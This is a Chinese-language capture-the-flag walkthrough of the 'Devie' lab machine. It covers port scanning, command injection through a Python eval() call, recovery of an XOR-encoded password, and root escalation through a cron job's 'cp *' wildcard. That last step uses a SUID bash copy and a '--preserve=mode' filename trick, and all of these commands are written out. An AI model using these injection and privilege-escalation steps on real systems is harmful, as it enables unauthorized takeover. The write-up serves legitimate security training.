Skip to main content

Devie

端口扫描

root@ip-10-10-231-42:~# nmap -sTCV -p 22,5000 --min-rate 1000 $IP

Starting Nmap 7.60 ( https://nmap.org ) at 2023-10-08 03:54 BST
Nmap scan report for ip-10-10-90-134.eu-west-1.compute.internal (10.10.90.134)
Host is up (0.000093s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
5000/tcp open upnp?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/2.1.2 Python/3.8.10
| Date: Sun, 08 Oct 2023 02:55:01 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 4486
| Connection: close

5000

访问我们的网站, 我们可以发现其是一个计算的网站, 并且从端口扫描的结果来看是一个 Python 的程序, 在网站底部我们可以看到它提供了网站的源代码, 我们将其下载下来进行分析, 我发现其中存在一个命令执行漏洞

@app.route("/")
def bisect(xa,xb):
added = xa + " + " + xb
c = eval(added)
c = int(c)/2
ya = (int(xa)**6) - int(xa) - 1 #f(a)
yb = (int(xb)**6) - int(xb) - 1 #f(b)

对于上述代码, 在 eval() 函数处进行操作, 我们可以借此来执行命令, 因为无法进行明文的输出显示, 所以我借助 ICMP 进行操作

__import__('os').system('ping 10.10.231.42')

image-20240709190213244

后渗透

bruce

使用上面的方式来获取一个 Shell

image-20240709190337204

bruce —> gordon

执行 SUDO 命令我们可以发现可以以 gordon 用户执行命令

image-20240709190345292

但是可惜的是这个程序是用来加密的, 没有办法利用, 接着在 bruce 用户的家目录我发现一个 note 文件其中告诉我一些事情

  • 使用 XOR 加密并且进行 base64 编码
  • 一个明文 : NEUEDTIeN1MRDg5K
(remote) bruce@devie:/home/bruce$ cat note 
Hello Bruce,

I have encoded my password using the super secure XOR format.

I made the key quite lengthy and spiced it up with some base64 at the end to make it even more secure. I'll share the decoding script for it soon. However, you can use my script located in the /opt/ directory.

For now look at this super secure string:
NEUEDTIeN1MRDg5K

Gordon

接着我便利用 XOR 的一个原理, 进行一些解密的操作使用上面得到的密文进行编码, 然后使用编码出来的结果作为密文使用密文作为 key 进行解码 CyberChef , 最终我获取到 XOR 加密的 Key 接着我对密文进行解密获取到了最终的明文, CyberChef 使用解密出来的明文作为用户 gordon 的密码, 我们就可以完成用户的窃取了

gordon —> root

在用户的家目录进行搜索时发现一个特殊的事情 : backups 和 reports 的文件内容一样并且名称相同, 同时 backups 的程序是最新创建的, 所以我怀疑这里存在定时任务, 接着查找属于 gordon 用户的文件时, 我发现一个特殊的文件

(remote) bruce@devie:/home/bruce$ find / -user root -group gordon -ls 2>/dev/null
403597 4 -rw-r----- 1 root gordon 485 Aug 2 2022 /opt/encrypt.py
12272 4 -rwxr----- 1 root gordon 66 May 12 2022 /usr/bin/backup
403598 4 -rw-r----- 1 root gordon 21 Aug 2 2022 /home/gordon/flag2.txt
gordon@devie:~/backups$ cat /usr/bin/backup
#!/bin/bash

cd /home/gordon/reports/

cp * /home/gordon/backups/

结合 backups 下的文件都是 root 用户的, 所以我判断这便是定时任务的利用, 接着利用 cp 的通配符完成提权

gordon@devie:~/reports$ cp /bin/bash ./bash && chmod u+s ./bash && echo "" > "--preserve=mode"
gordon@devie:~/backups$ ls -al
total 1176
drwxrwx--- 2 gordon gordon 4096 Oct 8 04:47 .
drwxr-xr-x 4 gordon gordon 4096 Aug 2 2022 ..
-rwsr-xr-x 1 root root 1183448 Oct 8 04:49 bash
-rw-r--r-- 1 root root 57 Oct 8 04:49 report1
-rw-r--r-- 1 root root 72 Oct 8 04:49 report2
-rw-r--r-- 1 root root 100 Oct 8 04:49 report3
gordon@devie:~/backups$ ./bash -p
gordon@devie:~/backups# id
uid=1001(gordon) gid=1001(gordon) euid=0(root) groups=1001(gordon)